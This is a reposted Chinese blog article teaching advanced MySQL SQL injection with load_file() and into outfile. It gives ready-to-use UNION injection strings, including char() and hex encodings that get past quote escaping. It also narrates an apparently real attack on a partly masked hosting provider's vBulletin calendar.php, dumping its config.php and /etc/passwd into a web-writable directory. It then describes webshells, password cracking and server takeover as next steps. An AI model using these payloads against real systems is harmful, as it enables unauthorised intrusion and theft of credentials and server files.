駭客攻擊技術之高階SQL隱碼攻擊技術(轉)
駭客攻擊技術之高階SQL隱碼攻擊技術(轉)[@more@] 我們知道,在SQL語句中,可以使用各種MySQL內建的函式,經常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()這些函式來獲取一些系統的資訊,還有一個應用得比較多的函式,就是load_file(),該函式的作用是讀入檔案,並將檔案內容作為一個字串返回。 看到這裡,應該可以想到我們可以做什麼了,就是讀取一些機密檔案,但是也是有條件限制的: 欲讀取檔案必須在伺服器上 必須指定檔案完整的路徑 必須有許可權讀取並且檔案必須完全可讀 欲讀取檔案必須小於 max_allowed_packet 如果該檔案不存在,或因為上面的任一原因而不能被讀出,函式返回空。比較難滿足的就是許可權,在windows下,如果NTFS設定得當,是不能讀取相關的檔案的,當遇到只有administrators才能訪問的檔案,users就別想load_file出來。 在實際的注入中,我們有兩個難點需要解決: 絕對物理路徑 構造有效的畸形語句 在很多PHP程式中,當提交一個錯誤的Query,如果display_errors = on,程式就會暴露WEB目錄的絕對路徑,只要知道路徑,那麼對於一個可以注入的PHP程式來說,整個伺服器的安全將受到嚴重的威脅。構造語句已經是小意思了。 利用 我們假設一個程式的SQL語句如下: SELECT * FROM article WHERE articleid=$id 注:當前條件:magic_quotes_gpc = off,c:/boot.ini可讀。 此時,我們構造$id為: -1 union select 1,1,1,1,load_file('c:/boot.ini') 我們的Query就變成: SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini') 程式會把c:/boot.ini內容老老實實顯示出來,但是現在magic_quotes_gpc = off的主機少之又少,怎麼才能構造出沒有引號的語句呢?看過《SQL Injection with MySQL》的朋友肯定知道用char()函式或者把字元轉換成16進位制,沒錯,就是它們。 注:當前條件:magic_quotes_gpc = on,c:/boot.ini可讀。 我們構造$id為: -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII程式碼,我們的Query就變成: SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) 我們也可以成功的讀取boot.ini檔案,還有把字串轉換為16進位制的,“c:/boot.ini”的16進位制是“0x633a2f626f6f742e696e69”,所以上面的語句可以是這樣: SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) 比較短了,看各人喜好了,大家可以在phpmyadmin或mysql>下輸入以下查詢慢慢研究。 SELECT load_file([string]) 當然,在實際應用中,由於種種條件限制,檔案的內容未必會顯示出來,我們也可以用into outfile把檔案匯出。大家已經知道如何利用了,我也不說細節了,看一個例項說明一切。 例項 www.***host.cn是我國著名的FreeBSD主機提供商,我們就拿他來測試,因為它的論壇採用的是calendar.php存在問題的VBB論壇,我就不需要到處去找有漏洞的站點了(雖然到處都是)。這是一次完整的安全測試。僅僅獲取資訊,我並未進入伺服器。 這裡補充說明一點關於VBB的根目錄下global.php的一段程式碼,如下: // get rid of slashes in get / post / cookie data function stripslashesarray (&$arr) { while (list($key,$val)=each($arr)) { if ($key!="templatesused" and $key!="argc" and $key!="argv") { if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) { $arr["$key"] = stripslashes($val); } else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) { $arr["$key"] = stripslashesarray($val); } } } return $arr; } if (get_magic_quotes_gpc() and is_array($GLOBALS)) { if (isset($attachment)) { $GLOBALS['attachment'] = addslashes($GLOBALS['attachment']); } if (isset($avatarfile)) { $GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']); } $GLOBALS = stripslashesarray($GLOBALS); } set_magic_quotes_runtime(0); 這段程式碼的作用就是如果magic_quotes_gpc開啟,就去掉所有特殊字元的前面的跳脫字元,所以,不管php.ini裡magic_quotes_gpc的狀態如何,我們輸入的單引號都沒有影響的,大家可以放心注入。呵呵。 我們知道,提交: /calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1 是可以獲取使用者名稱和密碼MD5雜湊的,但是由於特殊原因,並沒有顯示出來,但憑我的經驗,知道並沒有構造錯,所以我們可以讀取並匯出成檔案。 因為事先我無意中訪問到了含有phpinfo()的檔案,所以知道了WEB的絕對路徑,從訪問站點的結果,發現一個下載系統是生成HTML檔案的,如果那個目錄沒有可寫許可權,是不能生成HTML檔案的,不過這一切都不是本文的重點,我們現在掌握如下資訊: WEB絕對路徑:/home/4ngel 可寫目錄路徑:/home/4ngel/soft/ magic_quotes_gpc = on 和主機root相比,論壇的admin根本就不算什麼,我對論壇admin也不感興趣,我們要讀取論壇的配置檔案還有/etc/passwd,知道MySQL的連線資訊,可以從這裡入手,寫webshell或其他的東西,知道/etc/passwd我們可以跑密碼。直接從ssh上去。 VBB論壇的配置檔案在/home/4ngel/forum/admin/config.php,轉換成ASCII程式碼,提交: calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt' 呵呵,記得加一個where來定一個條件,否則如果論壇使用者很多,那麼匯出的檔案會相當大。或者乾脆指定$eventid為一個不存在的值,就不用where了,就像這樣: calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt' /etc/passwd轉換成ASCII程式碼,提交: calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt' 注意看到論壇的頂部,會出現下面的錯誤提示: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154 經驗告訴我們,檔案匯出成功了,提交: 內容嘩啦啦的出來了,而黑夜和豬蛋的他們入侵灰色的時候,一個個顯示密碼,欺騙,登陸後臺,上傳後門,讀取config.php,一連串的步驟,我一個load_file()就搞定了。是不是危害很大? 我記得在某個群裡討論到大家都是透過搞9****.net這個站,而進入黑白伺服器的,沒有辦法對黑白橫衝直闖,只得來曲線的。用load_file()函式,知道了某些資訊就可以進入黑白所在的伺服器,過程和上面的一樣,利用show.php的漏洞,直接load_file出程式的配置檔案,知道了mysql的資訊,遠端連線,寫資料庫匯出檔案,很容易獲得伺服器admin。
·上一篇:·下一篇:
最新更新 | ||
······························ |
| ||
| | | | | | | | ||
| ||
Copyright © 2004 - 2007 All Rights Reserved
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10763080/viewspace-970195/,如需轉載,請註明出處,否則將追究法律責任。
上一篇:
將連線資料庫的程式碼隱藏在DLL中(轉)
請登入後發表評論
登入
全部評論
|
相關文章
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-資料型別轉換SQL資料型別
- PLSQL Language Referenc-PL/SQL動態SQL-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- 駭客技術介紹之利用ip序列攻擊(轉)
- 8種常見的駭客攻擊技術
- 駭客中級技術--緩衝區溢位攻擊(轉)
- web的攻擊技術Web
- 我該如何向非技術人解釋SQL隱碼攻擊?SQL
- SQL隱碼攻擊SQL
- SQL隱碼攻擊式攻擊掃描器SQL
- 駭客技術大放送,欺騙IP攻擊的追蹤(轉)
- MYSQL SQL隱碼攻擊MySql
- 【SQL隱碼攻擊原理】SQL
- 防止SQL隱碼攻擊SQL
- SQL隱碼攻擊(一)SQL
- SQL隱碼攻擊(pikachu)SQL
- SQL隱碼攻擊方法SQL
- 【SQL Server】--SQL隱碼攻擊SQLServer
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]JavaWebSQL
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]JavaWebSQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊SQL
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數SQL變數
- 看看有哪些 Web 攻擊技術.Web
- nmap攻擊技術原理簡述
- RPO攻擊技術淺析
- 六個建議防止SQL隱碼攻擊式攻擊SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-顯式格式化模型SQL模型
- SQL隱碼攻擊語句SQL
- pikachu-SQL隱碼攻擊SQL
- SQL隱碼攻擊導圖SQL
- SQL隱碼攻擊問題SQL
- SQL隱碼攻擊的例子SQL
- ZMLCMS-SQL隱碼攻擊SQL
- SQL隱碼攻擊演練SQL
- 預防SQL隱碼攻擊SQL